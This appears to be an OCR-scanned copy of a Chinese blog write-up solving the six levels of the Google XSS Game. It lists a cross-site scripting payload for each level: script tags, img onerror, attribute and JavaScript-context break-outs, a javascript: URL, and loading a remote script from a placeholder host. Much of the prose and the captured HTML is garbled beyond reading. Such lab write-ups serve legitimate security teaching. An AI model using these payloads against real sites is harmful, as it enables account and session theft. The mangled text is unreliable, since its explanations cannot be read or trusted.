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FRELE: Web%4 W HEALE: XSS Gaome writeup

FRALE B ASCRE ERAQICE, #IE.CC 4.0 BY-SA WRAIMY, 85 _EJFE T s M A=,
ACEERE: https://blog.csdn.net/he_and/article/details/104408198
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BRI HE I T BiGoogle XSS Game, EWEE T !
Level 1: Hello, world of XSS
payload: <script>alert(1);</script>

xssZ i EE K EL R KB AR AL BABUR T A MERAE(nputhn2s) i FEbARZE

<div id="topbar"s</div>
b <div class="example-controls™s = </div>
w ¢iframe class="game-frame" src="http://xss-game.appspot
w #document
<!DOCTYPE htmL>
w <html>
¥ <head> (=) < /head
w cbody id="leveli™s
<img src="/static/loges/levell.png™s

ame. appspot. com/levell/frame?query=12333

FourOrFour

</body>
<fhtml>
<fiframe»
</div>
b <h2»(-=ic/h2>
b <iframe source-frame flevell/sgurce”s (= </ifran

b <h2»(-=ic/h2>
b <div id="hints"» (= ¢/d1iv

Sorry, no results were found for 12333. Try again.

BEHRLIEMpayloadillif, KIMEHITIE.
Level 2: Persistence is key

I REREZ ], AidiXkZblockquotetnss, T HMRAKI <script>alert(1);</script> NEEPAT, #—A
payload: <img src=# onerror=alert(1);> BtF AT
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Level 3: That sinking feeling...

PN T L R

<div 10="tabl" class="tab" onclick="chooseTab('1')">Image 1¢/div> [event
28
<div id="tab2" class="tab" onclick="chooseTab('2')">Image 2¢/div> [event
E-1]

URL |http://xss—game. appspot. com/level3/framef3sfd Go

<div id="tab3" class="tab active” onclick="chooseTab('3')">Image 3</div> (event

—
 cdiv id="tabContent™
Inage 3

Take a tour of our cloud data center.
="/static/level3/cloud3sfd. jpg™>

Eeget ] imogez | mases |

Image 3

</htnl>
</iframe>

~"source-frame” src="/levels/source” (w </iframe

>
¥ <div dd="hints™> (=l </div>
LI m—
</body>
</htnl>

html > body » div#game-frame-container » fframe game-frame > html > body#levels > divétabCo
gt thov s + B
ZE O { HE A
b

i SEImgiR B K srcB i, AT LAAA #8515, payload: ' onerror=alert(1)//

Level 4: Context matters

payload: 3');alert('1

Riicreate imeriZflidf5, HEHILER, WUMEIWE SEHA, — A REonlbad iiEd, —MRAivIRZEZIA

<IDocTYPE himL>
w <chtml>

¥ chead> =) </head>

w ¢body id="levels™
cimg src="/static/logos/levela.png™
<br>
<img src="/static ’loadinhgﬁ"I:n]:a::"star’tTimer('desadFadF';;"> event I
<br>

Time is up!

our timer will execute in sdfsadfadf se¢conds.</div>

</body>
</html>
</iframes
</div>
¥ <h2> 0 ¢ /h2>
B <ifr id="source-frame" src="/levelafsource” (= </iframe
P <h> fh2>
b <div id="hints"s (= </div>
<h——>
</body>
</html>

REITIEZ AR AR, EHRRIARIESHENmISER T, ERXFMHELT AR EBRATITT, ERS -4

i A RTESH I (onload/BIEHIER B TisHiE) , MAEXMBEL T, WIEHKMLINF Ahtml->js, Bril, wmRXE X R#T
T htmISE R gmid R A Be i Flixssiy, Z“3RA 1% Apayload: 3');alert('1 MIEHME, B5SEFmISBPNmMIELAERID, KREHHR

onload/g@tEH, EHABAIZAIU T, onload™ KIEILIGTF 2 Shtmif#sd, RIGjs#i, BrUlEPITsHIRME, RATHpayloadC&
RGhtmIfgss 17, AT UAE#R515 T, Mtk T xss.

Level 5: Breaking protocol

B A alrERhreflE



“confirmsfsdfs™yNext »»</ax

I am vulnerable

</body>

IRL|http://xss—game. appspot. com/level5/frame/signup?next=confirmsfsdfs

r

source-frame /level5/source™s (== ¢/iframe

</html>

html > body > divEgame-frame-contziner > iframe.game-frame > html > body#
Enter email: ‘

Next >
—_ SES bodv#levels

AT LA FjavascriptE — i i&payload: javascript:alert(1);

Level 6: Follow the

X — AR urll S R E R N #s:

EL]
<input class="urlbutton” type="Submit" value="Go" onclick="updsteFrame(1); return false;™> (even
</div>
v ciframe class="game-frame” src="http://; t.con/levele/frame#/123333%

v adocument
<IDOCTYPE html>

URL http:/:XSS*game.appspot.com’levelﬁ;frabeﬁf123333 = frtul>. (vmad

M |amvulnerable

-frame-styles.css

b seripb 0 </script

script stati scripts (event
ST FFEEE] =

¥ <body id="levels" (= < /body>

<fntmls
</iframe>

GADGETS

Jdiv>

source-frame {1evele/source ™ (= < iframe

h2>

hints™> (= </div>

Couldn’ t load gadget from /123333

=
o
fFim

B2 H ATV A http://xodhaha jsINEZFEjs FIEHE, S, RAFRENBEEShtpiithit, & TjsRBELiE RN,
i3 T /N5 Hihttp 5https,suoyi1, FATTAT LU K /N B Seid -

payload1: HTTP: //xxxxx/haha. js
HAthpayloads:

payload2: data:text/javascript,alert(1)
payload3: //xxxxx.com/haha.js

scripthrEHIsrc/BPEWIR R //xxx. com/hhah. js #3X, H2 6 BP0 5 ol R BB — B, FiX B AL Hixss-game P ik & http
PHT, LMK RE AT BEE A KR httpshR AR (9, IXASIH AR AT CAEI#e Blhttp il ,  B(FE B Sk —Mhttps IRk 5588 I 1858 &js XA
kE, —HAT L
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